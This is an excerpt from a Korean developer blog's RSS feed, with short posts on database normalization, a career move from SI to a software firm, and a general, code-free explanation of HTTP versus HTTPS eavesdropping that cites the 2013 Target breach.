      <title>db 정규화 및 장단점</title>
      <link>https://timmer.tistory.com/356</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;정규화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단일 atom 객체로 각각 다 테이블 별 쪼개서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;join 치는거&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규화&amp;nbsp;데이터베이스(Normalized&amp;nbsp;Database)는&amp;nbsp;중복을&amp;nbsp;최소화하도록&amp;nbsp;설계된&amp;nbsp;데이터베이스를&amp;nbsp;말한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적절히 비정규화 db 섞어서 씀&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비정규화의&amp;nbsp;장점은&amp;nbsp;바로&amp;nbsp;1.&amp;nbsp;빠른&amp;nbsp;데이터&amp;nbsp;조회(Join&amp;nbsp;비용이&amp;nbsp;줄어들기&amp;nbsp;때문),&amp;nbsp;2.&amp;nbsp;데이터&amp;nbsp;조회&amp;nbsp;쿼리의&amp;nbsp;간단화이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 테이블 비용이 줄어듦&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단점은?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만&amp;nbsp;비정규화의&amp;nbsp;단점은&amp;nbsp;바로&amp;nbsp;1.&amp;nbsp;데이터&amp;nbsp;갱신이나&amp;nbsp;삽입&amp;nbsp;비용이&amp;nbsp;높음,&amp;nbsp;2.&amp;nbsp;데이터의&amp;nbsp;무결성&amp;nbsp;해침,&amp;nbsp;3.&amp;nbsp;데이터&amp;nbsp;중복저장으로&amp;nbsp;인한&amp;nbsp;추가&amp;nbsp;저장공간&amp;nbsp;확보&amp;nbsp;필요가&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규화의&amp;nbsp;장점은&amp;nbsp;1.&amp;nbsp;데이터베이스&amp;nbsp;변경&amp;nbsp;시&amp;nbsp;이상현상&amp;nbsp;제거,&amp;nbsp;2.&amp;nbsp;효과적인&amp;nbsp;검색&amp;nbsp;알고리즘&amp;nbsp;생성,&amp;nbsp;3.&amp;nbsp;데이터&amp;nbsp;구조의&amp;nbsp;안정성,&amp;nbsp;무결성&amp;nbsp;유지&amp;nbsp;등이&amp;nbsp;있다.&amp;nbsp;하지만&amp;nbsp;단점은&amp;nbsp;1.&amp;nbsp;Join연산의&amp;nbsp;증가로&amp;nbsp;응답&amp;nbsp;시간이&amp;nbsp;저하된다는&amp;nbsp;것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://owlyr.tistory.com/20&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://owlyr.tistory.com/20&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1730339911041&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[데이터베이스] 정규화 vs. 비정규화(반정규화)&quot; data-og-description=&quot;  정규화 vs. 비정규화(반정규화) 데이터베이스 정규화 데이터베이스 비정규화 데이터베이스 비정규화(Denormalization, 반정규화)란 무엇인가? 장점, 단점 비정규화 대상 주의점 정규화(Normalized)란&quot; data-og-host=&quot;owlyr.tistory.com&quot; data-og-source-url=&quot;https://owlyr.tistory.com/20&quot; data-og-url=&quot;https://owlyr.tistory.com/20&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bCactC/hyXppBCS9u/oHpzVjbVapXWk65aEMkvbk/img.png?width=800&amp;amp;height=450&amp;amp;face=0_0_800_450,https://scrap.kakaocdn.net/dn/Odiu2/hyXsWkdscL/jM8GyWqfoBRvknTQSlkYA0/img.png?width=800&amp;amp;height=450&amp;amp;face=0_0_800_450,https://scrap.kakaocdn.net/dn/dwylBK/hyXpskOoCU/hY0Uq8PSjXxxNCvMGtlVd1/img.png?width=1928&amp;amp;height=1086&amp;amp;face=0_0_1928_1086&quot;&gt;&lt;a href=&quot;https://owlyr.tistory.com/20&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://owlyr.tistory.com/20&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bCactC/hyXppBCS9u/oHpzVjbVapXWk65aEMkvbk/img.png?width=800&amp;amp;height=450&amp;amp;face=0_0_800_450,https://scrap.kakaocdn.net/dn/Odiu2/hyXsWkdscL/jM8GyWqfoBRvknTQSlkYA0/img.png?width=800&amp;amp;height=450&amp;amp;face=0_0_800_450,https://scrap.kakaocdn.net/dn/dwylBK/hyXpskOoCU/hY0Uq8PSjXxxNCvMGtlVd1/img.png?width=1928&amp;amp;height=1086&amp;amp;face=0_0_1928_1086');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[데이터베이스] 정규화 vs. 비정규화(반정규화)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;  정규화 vs. 비정규화(반정규화) 데이터베이스 정규화 데이터베이스 비정규화 데이터베이스 비정규화(Denormalization, 반정규화)란 무엇인가? 장점, 단점 비정규화 대상 주의점 정규화(Normalized)란&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;owlyr.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://mangkyu.tistory.com/110&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://mangkyu.tistory.com/110&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1730339907711&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[Database] 정규화(Normalization) 쉽게 이해하기&quot; data-og-description=&quot;지난 포스팅에서 데이터베이스 정규화와 관련된 내용을 정리했었다. 하지만 해당 내용이 쉽게 이해되지 않는 것 같아서 정규화 관련 글을 풀어서 다시 한번 정리해보고자 한다. 1. 정규화(Normaliz&quot; data-og-host=&quot;mangkyu.tistory.com&quot; data-og-source-url=&quot;https://mangkyu.tistory.com/110&quot; data-og-url=&quot;https://mangkyu.tistory.com/110&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/ddAdEj/hyXsYvyQp1/wQAfEXpW9y7JNDQqovYtcK/img.png?width=324&amp;amp;height=301&amp;amp;face=0_0_324_301,https://scrap.kakaocdn.net/dn/Iziqn/hyXpsd1Kul/I8Ta5nWLuqtit0VIYSqzmk/img.png?width=324&amp;amp;height=301&amp;amp;face=0_0_324_301,https://scrap.kakaocdn.net/dn/c4KRIC/hyXpD0Xhc2/TfIRhP1EnPItmGDkQviMc0/img.png?width=828&amp;amp;height=473&amp;amp;face=0_0_828_473&quot;&gt;&lt;a href=&quot;https://mangkyu.tistory.com/110&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://mangkyu.tistory.com/110&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/ddAdEj/hyXsYvyQp1/wQAfEXpW9y7JNDQqovYtcK/img.png?width=324&amp;amp;height=301&amp;amp;face=0_0_324_301,https://scrap.kakaocdn.net/dn/Iziqn/hyXpsd1Kul/I8Ta5nWLuqtit0VIYSqzmk/img.png?width=324&amp;amp;height=301&amp;amp;face=0_0_324_301,https://scrap.kakaocdn.net/dn/c4KRIC/hyXpD0Xhc2/TfIRhP1EnPItmGDkQviMc0/img.png?width=828&amp;amp;height=473&amp;amp;face=0_0_828_473');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[Database] 정규화(Normalization) 쉽게 이해하기&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;지난 포스팅에서 데이터베이스 정규화와 관련된 내용을 정리했었다. 하지만 해당 내용이 쉽게 이해되지 않는 것 같아서 정규화 관련 글을 풀어서 다시 한번 정리해보고자 한다. 1. 정규화(Normaliz&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;mangkyu.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>티멀</author>
      <guid isPermaLink="true">https://timmer.tistory.com/356</guid>
      <comments>https://timmer.tistory.com/356#entry356comment</comments>
      <pubDate>Thu, 7 Nov 2024 23:04:26 +0900</pubDate>
    </item>
    <item>
      <title>대형 SI 에서 소규모 SW로 취업하며 느낀점</title>
      <link>https://timmer.tistory.com/355</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3848e17669d5eead7208ad2ddb203b31_res.jpeg&quot; data-origin-width=&quot;740&quot; data-origin-height=&quot;491&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J5Ccf/btsKpA39PD3/1RKKkHCpLo5Cud5cxToT4k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J5Ccf/btsKpA39PD3/1RKKkHCpLo5Cud5cxToT4k/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J5Ccf/btsKpA39PD3/1RKKkHCpLo5Cud5cxToT4k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ5Ccf%2FbtsKpA39PD3%2F1RKKkHCpLo5Cud5cxToT4k%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;474&quot; height=&quot;315&quot; data-filename=&quot;3848e17669d5eead7208ad2ddb203b31_res.jpeg&quot; data-origin-width=&quot;740&quot; data-origin-height=&quot;491&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2년만의 이직&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;최근 불경기에도 불구하고 운이 좋게 좀더 좋은 조건으로 이직에 성공했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;그렇게 실력이 좋지 않음에도 이직이 된 이유를 추측해보건데, '대형 프로젝트&lt;/span&gt; 경험 인력 요구 사유'가 해당 면접 합격의 큰 요인이 된 듯하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대형 서비스 개발 경험을 기반으로 현재 MVP 서비스 단계를 점차 고도화시켜야하니까!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;(근데 난 잘 모르는데...!?)&lt;br /&gt;&lt;/s&gt;&lt;/p&gt;
&lt;figure contenteditable=&quot;false&quot; data-ke-type=&quot;emoticon&quot; data-ke-align=&quot;alignCenter&quot; data-emoticon-type=&quot;niniz&quot; data-emoticon-name=&quot;017&quot; data-emoticon-isanimation=&quot;false&quot; data-emoticon-src=&quot;https://t1.daumcdn.net/keditor/emoticon/niniz/large/017.gif&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/keditor/emoticon/niniz/large/017.gif&quot; width=&quot;150&quot; /&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;&amp;nbsp;&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;솔직히 면접 합격이 들어왔을때 기존에 있던 SI 에서 좀더 경험을 쌓는 것을 좀더 고민했었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무래도 프로젝트 규모도 다르고, 각각의 사이트마다 배웠던 내용을 통해 스스로 성장을 하는 것이 느껴져서 더 그랬던 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 SI에서 배웠던 부분을 SW에 적용하면 보다 만족감과 실력 향상에 도움이 될 까하여 최종 입사를 결정했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-size=&quot;size16&quot; data-ke-style=&quot;style1&quot;&gt;&lt;b&gt;SI는 다 나쁜것이 아닌가요?&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;솔직히 SI의 인식이 많이 안좋긴하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터랑 키보드, 그리고 마우스 하나 딸랑 실려보내놓고 다른 회사로 팔려가는게 SI의 현실이기도 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 자리도 매번 바뀌고, 장비도 별로 좋지 않다. (회사에서 줄리도 없고)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 &lt;s&gt;어느정도 규모가 있다면&lt;/s&gt; 경험하는 프로젝트가 전부 대형이기 때문에, 배울점이 엄청 많다. 아무래도 학원이나 학부가 아닌 실제 프로젝트에서 실제 서비스를 개발하기 때문에, 서비스 개발 방법론, IT 용어 및 설계까지 한번에 배울 수 있는 매우 좋은 환경이 주어진다고 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 나처럼 너무 근본없는 개발자로 저런 프로젝트를 시작하면 죽을 수도?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;밤을 새는건 기본에, 휴일에도 출근하여 코드 봐야된다. 다만 실력이 엄청 빨리 증가한다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 장단점이 존재하지만, 장점이 더 많기 때문에, SI라고 무조건 배척하는 것은 너무 편협한 생각이 될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고통스럽지만 빠르게 실력 향상을 할 수 있는 스파르타식 공부 환경이 주어진다고 생각하면 절대로 나쁜 것이 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좀 힘들지만, 공부하면서 돈도 받잖아? 개이득&lt;/p&gt;
&lt;figure contenteditable=&quot;false&quot; data-ke-type=&quot;emoticon&quot; data-ke-align=&quot;alignCenter&quot; data-emoticon-type=&quot;niniz&quot; data-emoticon-name=&quot;035&quot; data-emoticon-isanimation=&quot;false&quot; data-emoticon-src=&quot;https://t1.daumcdn.net/keditor/emoticon/niniz/large/035.gif&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/keditor/emoticon/niniz/large/035.gif&quot; width=&quot;150&quot; /&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-size=&quot;size16&quot; data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;그래서 입사 후기는?&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 매우 만족 중이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;매우 많은 장점이 있는데, 그 중 제일 만족하는 부분은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 재택근무가 가능하며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 내 자리와 개인 장비 (비싼 친구)도 주어지고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 탄력출근제가 보장된다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커피랑 간식도 주고...!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure contenteditable=&quot;false&quot; data-ke-type=&quot;emoticon&quot; data-ke-align=&quot;alignCenter&quot; data-emoticon-type=&quot;niniz&quot; data-emoticon-name=&quot;025&quot; data-emoticon-isanimation=&quot;false&quot; data-emoticon-src=&quot;https://t1.daumcdn.net/keditor/emoticon/niniz/large/025.gif&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/keditor/emoticon/niniz/large/025.gif&quot; width=&quot;150&quot; /&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제부터 기술 블로그 겸, 개인 일기장 목적으로 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;해당 서비스에&lt;span&gt; 내가 배웠던 지식들을 어떻게 적용하는지 기록할 예정이다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>끄적이는 글/개인 일기장</category>
      <category>#it이직 #과연 #잘해낼까 #국비개발자 #무근본개발자</category>
      <author>티멀</author>
      <guid isPermaLink="true">https://timmer.tistory.com/355</guid>
      <comments>https://timmer.tistory.com/355#entry355comment</comments>
      <pubDate>Wed, 30 Oct 2024 23:07:08 +0900</pubDate>
    </item>
    <item>
      <title>피씨방에서 로그인만 하면 개인정보 털리는 이유 (http, https 차이)</title>
      <link>https://timmer.tistory.com/354</link>
      <description>&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: justify;&quot;&gt;요즘에 대부분의 게임들이 구글 로그인 연동해서 회원가입을 잘 시켜줍니다.&lt;br&gt;&amp;nbsp;&lt;br&gt;아주 편리하죠.&lt;br&gt;&amp;nbsp;&lt;br&gt;근데 항상 구글 통해서 로그인만 하고나면,&amp;nbsp;&lt;br&gt;여러분들 피씨방에 가서 게임&lt;br&gt;&lt;br&gt;&lt;br&gt;HTTP를 사용할 때 해커가 정보를 중간에 가로채는 방법을 설명하겠습니다. 이를 통해 HTTP와 HTTPS의 차이를 더욱 명확하게 이해할 수 있습니다.&lt;br&gt;&lt;br&gt;### MITM 공격 (Man-In-The-Middle Attack)&lt;br&gt;&lt;br&gt;**1. 개요**&lt;br&gt;&amp;nbsp;&amp;nbsp; - MITM 공격은 해커가 사용자의 통신을 가로채고, 정보를 엿보거나 수정할 수 있는 방법입니다. HTTP는 데이터를 암호화하지 않기 때문에 해커가 쉽게 접근할 수 있습니다.&lt;br&gt;&lt;br&gt;**2. 공격 과정**&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; **단계 1: 네트워크 접근**&lt;br&gt;&amp;nbsp;&amp;nbsp; - 해커는 공용 Wi-Fi 같은 불안정한 네트워크에 접근합니다. 예를 들어, 카페나 공항에서 제공하는 무료 Wi-Fi가 대표적입니다.&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; **단계 2: 패킷 스니핑**&lt;br&gt;&amp;nbsp;&amp;nbsp; - 해커는 패킷 스니퍼라는 도구를 사용하여 네트워크를 통해 주고받는 데이터를 가로챕니다. HTTP를 통해 전송되는 데이터는 암호화되지 않기 때문에 쉽게 읽을 수 있습니다.&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; **단계 3: 데이터 탈취**&lt;br&gt;&amp;nbsp;&amp;nbsp; - 사용자가 HTTP 웹사이트에 로그인하면, 해커는 사용자가 입력한 ID, 비밀번호, 신용카드 정보 등을 그대로 볼 수 있습니다. &lt;br&gt;&lt;br&gt;**3. 예시**&lt;br&gt;&amp;nbsp;&amp;nbsp; - 예를 들어, 사용자가 공용 Wi-Fi에서 HTTP 웹사이트에 로그인할 때, 해커는 패킷 스니핑을 통해 로그인 정보를 탈취할 수 있습니다. 아래는 실제로 어떻게 이루어지는지에 대한 예시입니다.&lt;br&gt;&lt;br&gt;### 예시 시나리오&lt;br&gt;&lt;br&gt;(화면 전환: 카페에서 노트북을 사용하는 사람들)&lt;br&gt;&lt;br&gt;**내레이션:** 여러분이 카페에서 무료 Wi-Fi를 사용한다고 상상해보세요. 여기서 HTTP 웹사이트에 로그인한다고 가정해볼게요.&lt;br&gt;&lt;br&gt;(화면 전환: 해커가 노트북을 통해 네트워크를 모니터링하는 장면)&lt;br&gt;&lt;br&gt;**내레이션:** 이때 해커는 같은 네트워크에 접속하여 패킷 스니퍼를 실행합니다. 여러분의 로그인 정보가 암호화되지 않은 채로 네트워크를 통해 전송되기 때문에 해커는 이 정보를 쉽게 가로챌 수 있습니다.&lt;br&gt;&lt;br&gt;(화면 전환: 해커의 화면에 사용자의 ID와 비밀번호가 그대로 나타나는 장면)&lt;br&gt;&lt;br&gt;**내레이션:** 보세요, 여러분이 입력한 ID와 비밀번호가 해커의 화면에 그대로 나타납니다. HTTP를 사용할 때 발생할 수 있는 아주 위험한 상황입니다.&lt;br&gt;&lt;br&gt;### HTTPS의 역할&lt;br&gt;&lt;br&gt;**1. 데이터 암호화**&lt;br&gt;&amp;nbsp;&amp;nbsp; - HTTPS는 데이터를 전송하기 전에 암호화합니다. 해커가 데이터를 가로채더라도 암호화된 상태이기 때문에 해독할 수 없습니다.&lt;br&gt;&lt;br&gt;**2. 보안 인증서**&lt;br&gt;&amp;nbsp;&amp;nbsp; - HTTPS 웹사이트는 보안 인증서를 사용하여 웹사이트의 신뢰성을 검증합니다. 브라우저는 HTTPS 웹사이트에 연결할 때 인증서를 확인하여 중간에 가로채는 시도를 차단합니다.&lt;br&gt;&lt;br&gt;### 결론&lt;br&gt;&lt;br&gt;(화면 전환: 자물쇠 아이콘이 있는 브라우저 화면)&lt;br&gt;&lt;br&gt;**내레이션:** 따라서 여러분은 중요한 정보를 입력할 때, 웹사이트 주소에 자물쇠 아이콘이 있는지 확인해야 합니다. HTTPS를 사용하는 웹사이트는 데이터를 암호화하여 안전하게 보호합니다.&lt;br&gt;&lt;br&gt;(화면 전환: 자물쇠 아이콘을 확인하는 모습과 함께 마무리)&lt;br&gt;&lt;br&gt;**내레이션:** 오늘은 HTTP와 HTTPS의 차이와 해커가 어떻게 정보를 가로챌 수 있는지에 대해 이야기해봤습니다. 여러분의 개인정보, 꼭 지켜야겠죠? 그럼 다음에 더 유익한 정보로 찾아뵐게요. 안녕!&lt;br&gt;&lt;br&gt;### 관련 기사:&lt;br&gt;- **New York Times 기사**: [&quot;For Target, the Breach Numbers Grow&quot;](https://www.nytimes.com/2014/01/11/business/target-breach-affected-70-million-customers.html)&lt;br&gt;- **CNN 기사**: [&quot;Target data breach affects 40 million credit, debit cards&quot;](https://www.cnn.com/2013/12/19/us/tar-jay-target-credit-card-hack/index.html)&lt;br&gt;- **Reuters 기사**: [&quot;Target says up to 70 million customers hit in data breach&quot;](https://www.reuters.com/article/us-target-databreach-idUSBREA090SS20140110)&lt;br&gt;&lt;br&gt;&lt;br&gt;&quot;Target&quot; 해킹 사건은 2013년 12월에 발생한 대규모 데이터 유출 사건으로, 미국의 대형 소매업체인 Target이 해킹되어 수백만 명의 신용카드 및 직불카드 정보가 유출된 사건입니다. 이 사건은 미국의 데이터 유출 역사에서 가장 큰 사건 중 하나로 기록됩니다. 자세한 내용은 다음과 같습니다:&lt;br&gt;&lt;br&gt;### 사건 개요&lt;br&gt;&lt;br&gt;**1. 사건 발생 시기**&lt;br&gt;&amp;nbsp;&amp;nbsp; - **발생일**: 2013년 12월&lt;br&gt;&amp;nbsp;&amp;nbsp; - **발표일**: 2014년 1월&lt;br&gt;&lt;br&gt;**2. 피해 규모**&lt;br&gt;&amp;nbsp;&amp;nbsp; - **유출된 데이터**: 약 4천만 명의 신용카드 및 직불카드 정보&lt;br&gt;&amp;nbsp;&amp;nbsp; - **확장된 피해**: 7천만 명의 개인정보가 추가로 유출된 것으로 추정&lt;br&gt;&lt;br&gt;### 해킹 경위&lt;br&gt;&lt;br&gt;**1. 침입 경로**&lt;br&gt;&amp;nbsp;&amp;nbsp; - **정보 출처**: 해커들은 Target의 외부 협력업체 중 하나인 HVAC(난방, 환기, 공기 조화) 시스템 관리업체를 통해 침입했습니다. 이 업체는 Target의 상점 내 HVAC 시스템을 관리하며, Target의 네트워크에 접근할 수 있는 권한을 가지고 있었습니다.&lt;br&gt;&lt;br&gt;**2. 악성 소프트웨어**&lt;br&gt;&amp;nbsp;&amp;nbsp; - **종류**: 해커들은 악성 소프트웨어인 &quot;BlackPOS&quot;를 사용하여 카드 결제 시스템을 감염시켰습니다. 이 소프트웨어는 카드 정보를 수집하고, 이를 해커의 서버로 전송했습니다.&lt;br&gt;&lt;br&gt;**3. 데이터 탈취**&lt;br&gt;&amp;nbsp;&amp;nbsp; - **방법**: 해커들은 카드 결제 시스템에 악성코드를 설치하여, 카드 정보가 입력될 때마다 이를 실시간으로 수집했습니다. 이렇게 수집된 정보는 암호화되지 않고 해커의 서버로 전송되었습니다.&lt;br&gt;&lt;br&gt;### 대응 및 결과&lt;br&gt;&lt;br&gt;**1. 대응 조치**&lt;br&gt;&amp;nbsp;&amp;nbsp; - **보안 강화**: Target은 사건 발생 후 보안 조치를 강화하고, 모든 신용카드 결제 시스템을 교체했습니다. 또한, 고객들에게 신용 모니터링 서비스를 제공하고, 추가 보안 조치를 취했습니다.&lt;br&gt;&lt;br&gt;**2. 법적 조치**&lt;br&gt;&amp;nbsp;&amp;nbsp; - **합의**: Target은 사건에 대한 법적 책임을 인정하고, 여러 주와 연방 정부 기관과 합의하여 총 1억 6천만 달러를 지불하는데 동의했습니다.&lt;br&gt;&amp;nbsp;&amp;nbsp; - **소송**: 사건과 관련하여 Target은 여러 소비자와 기업으로부터 소송을 당했으며, 이와 관련된 법적 절차가 진행되었습니다.&lt;br&gt;&lt;br&gt;**3. 영향**&lt;br&gt;&amp;nbsp;&amp;nbsp; - **소비자 신뢰**: 사건은 소비자들 사이에서 신뢰를 크게 떨어뜨렸으며, Target은 보안 취약점이 드러나면서 고객들의 신뢰를 회복하기 위해 많은 노력을 기울여야 했습니다.&lt;br&gt;&amp;nbsp;&amp;nbsp; - **보안 강화**: 이 사건은 기업들이 보안 시스템을 강화하는 계기가 되었으며, 많은 기업들이 데이터 암호화 및 보안 강화 조치를 채택하게 되었습니다.&lt;br&gt;&lt;br&gt;### 관련 기사 링크&lt;br&gt;&lt;br&gt;- **New York Times**: [&quot;For Target, the Breach Numbers Grow&quot;](https://www.nytimes.com/2014/01/11/business/target-breach-affected-70-million-customers.html)&lt;br&gt;- **CNN**: [&quot;Target data breach affects 40 million credit, debit cards&quot;](https://www.cnn.com/2013/12/19/us/tar-jay-target-credit-card-hack/index.html)&lt;br&gt;- **Reuters**: [&quot;Target says up to 70 million customers hit in data breach&quot;](https://www.reuters.com/article/us-target-databreach-idUSBREA090SS20140110)&lt;br&gt;&lt;br&gt;이 사건은 데이터 보안의 중요성을 다시 한 번 상기시켜주었으며, 기업들이 보안에 더욱 신경을 써야 